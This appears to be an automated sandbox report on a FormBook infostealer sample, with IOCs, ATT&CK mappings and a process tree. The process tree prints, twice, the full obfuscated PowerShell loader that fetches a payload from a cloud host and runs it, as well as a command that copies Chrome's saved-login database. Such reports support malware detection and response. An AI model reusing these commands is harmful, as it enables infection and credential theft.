formbook | 71abad95eeb66ea1fc076a33659dba34d9404a08eb4ad1aaf32c41754abd332e

Modify Registry

description	ioc	Process
Key created	\Registry\User\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	control.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2408	WScript.exe
7	3424	powershell.exe
17	3424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LHSDTXDXGVE = "C:\\Program Files (x86)\\windows mail\\wab.exe"	control.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
42	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3368	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1560	powershell.exe
3368	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1560 set thread context of 3368	1560	powershell.exe	99
PID 3368 set thread context of 3436	3368	wab.exe	56
PID 3368 set thread context of 3436	3368	wab.exe	56
PID 3488 set thread context of 3436	3488	control.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\Registry\User\S-1-5-21-2636447293-1148739154-93880854-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	control.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
3424	powershell.exe
3424	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe

Suspicious behavior: MapViewOfSection 9 IoCs

pid	Process
1560	powershell.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3368	wab.exe
3488	control.exe
3488	control.exe
3488	control.exe
3488	control.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	3368	wab.exe
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeDebugPrivilege	3488	control.exe
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3436	Explorer.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 3424	2408	WScript.exe	85
PID 2408 wrote to memory of 3424	2408	WScript.exe	85
PID 3424 wrote to memory of 2800	3424	powershell.exe	88
PID 3424 wrote to memory of 2800	3424	powershell.exe	88
PID 3424 wrote to memory of 1560	3424	powershell.exe	96
PID 3424 wrote to memory of 1560	3424	powershell.exe	96
PID 3424 wrote to memory of 1560	3424	powershell.exe	96
PID 1560 wrote to memory of 2996	1560	powershell.exe	97
PID 1560 wrote to memory of 2996	1560	powershell.exe	97
PID 1560 wrote to memory of 2996	1560	powershell.exe	97
PID 1560 wrote to memory of 3368	1560	powershell.exe	99
PID 1560 wrote to memory of 3368	1560	powershell.exe	99
PID 1560 wrote to memory of 3368	1560	powershell.exe	99
PID 1560 wrote to memory of 3368	1560	powershell.exe	99
PID 1560 wrote to memory of 3368	1560	powershell.exe	99
PID 3436 wrote to memory of 3488	3436	Explorer.EXE	111
PID 3436 wrote to memory of 3488	3436	Explorer.EXE	111
PID 3436 wrote to memory of 3488	3436	Explorer.EXE	111
PID 3488 wrote to memory of 2668	3488	control.exe	112
PID 3488 wrote to memory of 2668	3488	control.exe	112
PID 3488 wrote to memory of 2668	3488	control.exe	112
PID 3488 wrote to memory of 812	3488	control.exe	114
PID 3488 wrote to memory of 812	3488	control.exe	114
PID 3488 wrote to memory of 812	3488	control.exe	114

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\71abad95eeb66ea1fc076a33659dba34d9404a08eb4ad1aaf32c41754abd332e.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence';If (${host}.CurrentCulture) {$Forstavelse='SUBsTR';$Afdkk52++;}$Forstavelse+='ing';Function Choreographer($Endura){$Uncontaminate=$Endura.Length-$Afdkk52;For( $Morgnerne=2;$Morgnerne -lt $Uncontaminate;$Morgnerne+=3){$Selskabsbroder+=$Endura.$Forstavelse.Invoke( $Morgnerne, $Afdkk52);}$Selskabsbroder;}function Digitaldisplay($Sykofants){ . ($Ringvejens) ($Sykofants);}$Wiretap=Choreographer 'TiM,uoUnzUni ilKolC,a o/An5 S..t0 i T (InW BiVin.rdS,oSpwTesLi ,NDeTTi 1Er0Di.Sp0Ko; F NlWVaiAen ,6 4Aa;D. B x 6Pe4O,;Ba TerTevPo:De1Ju2Sl1 o..i0Sc) B OvGuneB,cA kBeoOf/Ea2Ko0R 1Up0.o0Th1Cr0Om1Mi A,F.liBor ,eAcfAloFexBe/Ga1Er2 a1N..uv0 . ';$Jeopardizes=Choreographer ',pUPrsV,eDor,j-AaA ng FeF nwatSt ';$Kursusmateriale=Choreographer ',ih Lt Ntpsp TsWi: u/ H/ dTereni BvSreP..Ung roHyoAngCrlUbeIn. Rc oP,mUn/.iu cCo? Ie Oxt.p,no or,etSa=krdMaoAmw ,n SlAro NaIndS,&SiiPldF,= 1 Ste q e0mnNDeEOl9,rN il IaVkDMomInfT xP,USkTC.BCy_in7Or3Stm nzBagin7A,D V .JKiYSkQ fBTr7 ,r Uw A ';$Dykningens=Choreographer ' R> . ';$Ringvejens=Choreographer ',si,neByxRe ';$Drosches='Isohesperidin';$Unpromulgated = Choreographer ' Ne Ac ahVooFe Li% ,a TpUdpAmdRea tS.aVi%An\ErUHadU lS.eB.d en,ti gnU.gDi. EPUneSkrEc D.&Ba&N, Ue ocA.hInoFy svtK, ';Digitaldisplay (Choreographer 'Sy$VagEul eoCab kaFll,o:FlSSuk,hiDem ,mFoeO l .s TvDia mE,psee L=A ( lc,rmIndS ,/Arc,i S$FoULin JpOpr VoExmU.u.pl,ogIna PtMee UdPr)O, ');Digitaldisplay (Choreographer 'Zo$Grg HlU.oFubHua hl :MiS Uyunn,rdM e dfTuu PlPrdU ebasCytN.ema= $RuK yuFirT s .u.rsOfm.la TtPae rr .iCha BlB,e.a. ,sI.p Il .iAat i(ro$SpD Iy ekFlnF,is n gKneUnn ,sBe)Sa ');Digitaldisplay (Choreographer 'Ho[ .NexeD tU,..aSSteGar bvEnig.cBae HPArodeiPenF,tUdMU.aLanThaMigFee .r ,]gl: .:FrS .ePhcS,uP rFriL,tPayFoP FrUnoPatApoS,c .o Bl Ly=Ov R [T NUneOctSc.R SIneTicPau,irHoiR.tR,yS PZerA ourtTro,dcWioGolE.T RyprpAfeM ]Tn: w: kTBalH.sSp1 ,2Ar ');$Kursusmateriale=$Syndefuldeste[0];$Smldfed= (Choreographer ',e$.eg sl mo ,b Oa llDe: tSG.k ,r im,kb arJutPat oeJvrPo=CzNsoeCawIn-StOHebAfj neMacG.tMi P,S nyH.sDetK,eSpmCu.R.NSge tRe.UnWGrem bBeCoplfeiAmeS n.at');$Smldfed+=$Skimmelsvampe[1];Digitaldisplay ($Smldfed);Digitaldisplay (Choreographer ' R$NuS.rkIdrSkmS,bFor LtRotUdeS r C. H .e PausdKae Cr hsEn[P,$MiJ,oe,ooDupO aMirSodKuiSkzflef.sSt].e= P$R.W.oiMerbaeM tKuaCopFo ');$Dirigibility64=Choreographer '.t$.kS Uk ,r ImB,bfarN tTot yefor,a. FD loSawDan ,lP oBeaS dDoFGaiS lRoes,(,j$PeKYduc rnes ,u Ds.umAnaMetGreHerR i eaPalTeeA.,Un$ UP HoB rHac eSulTeaIneP n TsAdhDeutinLid.a)Ud ';$Porcelaenshund=$Skimmelsvampe[0];Digitaldisplay (Choreographer 'St$ RgPhlBao Mb ,aNolSy:C,CStaNimNobF rFyi c ,e inFrsPe=Aa( iTUpe HsA.tU,-KnPE.aT.t,uh . d$IrPteoByrImc Pe Rl Aa,he n VsSuhFlu sn Pd.o) S ');while (!$Cambricens) {Digitaldisplay (Choreographer 'D,$BegKal .oPobK,aU,l,r:TuRDruEdlEvl OeRamApa ad Ar EaPhs Ds oe Sn Q1Fr7Re1L =Sl$ At,pr ,uRaeJo ') ;Digitaldisplay $Dirigibility64;Digitaldisplay (Choreographer 'FuS,utLiaK.rGrt a-PaS Fl Ne OeFupJo Di4 M ');Digitaldisplay (Choreographer 'L $Eng PlAco.rbC,aU,l U:D,C Pab,m .bCir DiAbcPae Bn tsSn= P(F.Tp e SsStt y-SmPStaSwtUnhTy su$,lPWaoTrr .cSeeSwl .aP,eDunKas nh tuP nRadKn)Tr ') ;Digitaldisplay (Choreographer 'Es$,ygFll,noNab caNglEx: SDR eBypCol GoS rTra bStl ne PnJoe ksH.spo=Kl$Fug l HoBibD.aCal .:FrER,nNesj,wReaThtS,h,ye BsG + A+e,% S$,tSEryElnRedDie f,eu RlE.d te asPstFaeN .StcTeotau FnSatC. ') ;$Kursusmateriale=$Syndefuldeste[$Deplorableness];}$Unimbanked=307700;$Trouss=26859;Digitaldisplay (Choreographer ',o$ pg El HoArbHoaOul k: LDPra .tFlaUsmEna BtNaiBosL eGrrFriBynQugTes A Bi=Ak uG eActMi-A.C ohunStt ,eHan,ptT. Om$ ,Pf,oH,r c.re .lRea .eNenPisPoh .uS nDid F ');Digitaldisplay (Choreographer ' $TogStlE o.obBaaNulOc: KB,l FiOlpG p.oe is,tpGlaK.lDetOceStr .n Pe.es , R= e L[KiSOvy Bs Bt ne im n..oCPlo ,n,kvCoeObr,ut B]F.: T:s FHerUnoFim OBtraTisVeePr6S,4 KS MtCor ,iTrnShgBr(Mi$ UDnoaPrtEla lm,raT.tOsiTrsS e.rr Si pn PgStsAn)Ba ');Digitaldisplay (Choreographer ' $TrgS l Mo.obf,aL lSt:TaUNon BrFae daVal ,i .z.yaAlb Dl jeudsMo O =Am B,[U S uyPrsPotPee ImSe.UnTHeeBaxT tBr.PrEDenA c,moGrdleiK nSvg K]br:Pa: OAS SUnCF I SIFr.NoG .eRetInSAmtDdrGui BnBog p(.i$WiKColA iNop,upAseR,sMupInaEtlCatSteCorL,nLieYusC,)U ');Digitaldisplay (Choreographer 'E $ Ag tl Io .b .aO lve:FoBMaeS.tAroSyn Dk DlAno ,d .s,reU.r B=Ug$GkU .nslrV eSca,ilUniLizR,aKib .lNoe SsSt.Tes,yu AbL,sLotMrrPaiInn SgIm(Fi$SeUFin OiAmmFlb Sa SnSpkS e SdSl, .$inTWirDooFouP,sFlsVa)Ep ');Digitaldisplay $Betonklodser;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Udledning.Per && echo t"
      4⤵
      PID:2800
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence';If (${host}.CurrentCulture) {$Forstavelse='SUBsTR';$Afdkk52++;}$Forstavelse+='ing';Function Choreographer($Endura){$Uncontaminate=$Endura.Length-$Afdkk52;For( $Morgnerne=2;$Morgnerne -lt $Uncontaminate;$Morgnerne+=3){$Selskabsbroder+=$Endura.$Forstavelse.Invoke( $Morgnerne, $Afdkk52);}$Selskabsbroder;}function Digitaldisplay($Sykofants){ . ($Ringvejens) ($Sykofants);}$Wiretap=Choreographer 'TiM,uoUnzUni ilKolC,a o/An5 S..t0 i T (InW BiVin.rdS,oSpwTesLi ,NDeTTi 1Er0Di.Sp0Ko; F NlWVaiAen ,6 4Aa;D. B x 6Pe4O,;Ba TerTevPo:De1Ju2Sl1 o..i0Sc) B OvGuneB,cA kBeoOf/Ea2Ko0R 1Up0.o0Th1Cr0Om1Mi A,F.liBor ,eAcfAloFexBe/Ga1Er2 a1N..uv0 . ';$Jeopardizes=Choreographer ',pUPrsV,eDor,j-AaA ng FeF nwatSt ';$Kursusmateriale=Choreographer ',ih Lt Ntpsp TsWi: u/ H/ dTereni BvSreP..Ung roHyoAngCrlUbeIn. Rc oP,mUn/.iu cCo? Ie Oxt.p,no or,etSa=krdMaoAmw ,n SlAro NaIndS,&SiiPldF,= 1 Ste q e0mnNDeEOl9,rN il IaVkDMomInfT xP,USkTC.BCy_in7Or3Stm nzBagin7A,D V .JKiYSkQ fBTr7 ,r Uw A ';$Dykningens=Choreographer ' R> . ';$Ringvejens=Choreographer ',si,neByxRe ';$Drosches='Isohesperidin';$Unpromulgated = Choreographer ' Ne Ac ahVooFe Li% ,a TpUdpAmdRea tS.aVi%An\ErUHadU lS.eB.d en,ti gnU.gDi. EPUneSkrEc D.&Ba&N, Ue ocA.hInoFy svtK, ';Digitaldisplay (Choreographer 'Sy$VagEul eoCab kaFll,o:FlSSuk,hiDem ,mFoeO l .s TvDia mE,psee L=A ( lc,rmIndS ,/Arc,i S$FoULin JpOpr VoExmU.u.pl,ogIna PtMee UdPr)O, ');Digitaldisplay (Choreographer 'Zo$Grg HlU.oFubHua hl :MiS Uyunn,rdM e dfTuu PlPrdU ebasCytN.ema= $RuK yuFirT s .u.rsOfm.la TtPae rr .iCha BlB,e.a. ,sI.p Il .iAat i(ro$SpD Iy ekFlnF,is n gKneUnn ,sBe)Sa ');Digitaldisplay (Choreographer 'Ho[ .NexeD tU,..aSSteGar bvEnig.cBae HPArodeiPenF,tUdMU.aLanThaMigFee .r ,]gl: .:FrS .ePhcS,uP rFriL,tPayFoP FrUnoPatApoS,c .o Bl Ly=Ov R [T NUneOctSc.R SIneTicPau,irHoiR.tR,yS PZerA ourtTro,dcWioGolE.T RyprpAfeM ]Tn: w: kTBalH.sSp1 ,2Ar ');$Kursusmateriale=$Syndefuldeste[0];$Smldfed= (Choreographer ',e$.eg sl mo ,b Oa llDe: tSG.k ,r im,kb arJutPat oeJvrPo=CzNsoeCawIn-StOHebAfj neMacG.tMi P,S nyH.sDetK,eSpmCu.R.NSge tRe.UnWGrem bBeCoplfeiAmeS n.at');$Smldfed+=$Skimmelsvampe[1];Digitaldisplay ($Smldfed);Digitaldisplay (Choreographer ' R$NuS.rkIdrSkmS,bFor LtRotUdeS r C. H .e PausdKae Cr hsEn[P,$MiJ,oe,ooDupO aMirSodKuiSkzflef.sSt].e= P$R.W.oiMerbaeM tKuaCopFo ');$Dirigibility64=Choreographer '.t$.kS Uk ,r ImB,bfarN tTot yefor,a. FD loSawDan ,lP oBeaS dDoFGaiS lRoes,(,j$PeKYduc rnes ,u Ds.umAnaMetGreHerR i eaPalTeeA.,Un$ UP HoB rHac eSulTeaIneP n TsAdhDeutinLid.a)Ud ';$Porcelaenshund=$Skimmelsvampe[0];Digitaldisplay (Choreographer 'St$ RgPhlBao Mb ,aNolSy:C,CStaNimNobF rFyi c ,e inFrsPe=Aa( iTUpe HsA.tU,-KnPE.aT.t,uh . d$IrPteoByrImc Pe Rl Aa,he n VsSuhFlu sn Pd.o) S ');while (!$Cambricens) {Digitaldisplay (Choreographer 'D,$BegKal .oPobK,aU,l,r:TuRDruEdlEvl OeRamApa ad Ar EaPhs Ds oe Sn Q1Fr7Re1L =Sl$ At,pr ,uRaeJo ') ;Digitaldisplay $Dirigibility64;Digitaldisplay (Choreographer 'FuS,utLiaK.rGrt a-PaS Fl Ne OeFupJo Di4 M ');Digitaldisplay (Choreographer 'L $Eng PlAco.rbC,aU,l U:D,C Pab,m .bCir DiAbcPae Bn tsSn= P(F.Tp e SsStt y-SmPStaSwtUnhTy su$,lPWaoTrr .cSeeSwl .aP,eDunKas nh tuP nRadKn)Tr ') ;Digitaldisplay (Choreographer 'Es$,ygFll,noNab caNglEx: SDR eBypCol GoS rTra bStl ne PnJoe ksH.spo=Kl$Fug l HoBibD.aCal .:FrER,nNesj,wReaThtS,h,ye BsG + A+e,% S$,tSEryElnRedDie f,eu RlE.d te asPstFaeN .StcTeotau FnSatC. ') ;$Kursusmateriale=$Syndefuldeste[$Deplorableness];}$Unimbanked=307700;$Trouss=26859;Digitaldisplay (Choreographer ',o$ pg El HoArbHoaOul k: LDPra .tFlaUsmEna BtNaiBosL eGrrFriBynQugTes A Bi=Ak uG eActMi-A.C ohunStt ,eHan,ptT. Om$ ,Pf,oH,r c.re .lRea .eNenPisPoh .uS nDid F ');Digitaldisplay (Choreographer ' $TogStlE o.obBaaNulOc: KB,l FiOlpG p.oe is,tpGlaK.lDetOceStr .n Pe.es , R= e L[KiSOvy Bs Bt ne im n..oCPlo ,n,kvCoeObr,ut B]F.: T:s FHerUnoFim OBtraTisVeePr6S,4 KS MtCor ,iTrnShgBr(Mi$ UDnoaPrtEla lm,raT.tOsiTrsS e.rr Si pn PgStsAn)Ba ');Digitaldisplay (Choreographer ' $TrgS l Mo.obf,aL lSt:TaUNon BrFae daVal ,i .z.yaAlb Dl jeudsMo O =Am B,[U S uyPrsPotPee ImSe.UnTHeeBaxT tBr.PrEDenA c,moGrdleiK nSvg K]br:Pa: OAS SUnCF I SIFr.NoG .eRetInSAmtDdrGui BnBog p(.i$WiKColA iNop,upAseR,sMupInaEtlCatSteCorL,nLieYusC,)U ');Digitaldisplay (Choreographer 'E $ Ag tl Io .b .aO lve:FoBMaeS.tAroSyn Dk DlAno ,d .s,reU.r B=Ug$GkU .nslrV eSca,ilUniLizR,aKib .lNoe SsSt.Tes,yu AbL,sLotMrrPaiInn SgIm(Fi$SeUFin OiAmmFlb Sa SnSpkS e SdSl, .$inTWirDooFouP,sFlsVa)Ep ');Digitaldisplay $Betonklodser;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1560
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Udledning.Per && echo t"
        5⤵
        
        PID:2996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:3368
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:3756
- C:\Windows\SysWOW64\control.exe
  "C:\Windows\SysWOW64\control.exe"
  2⤵
  - Adds policy Run key to start application
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
    3⤵
    PID:2668
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service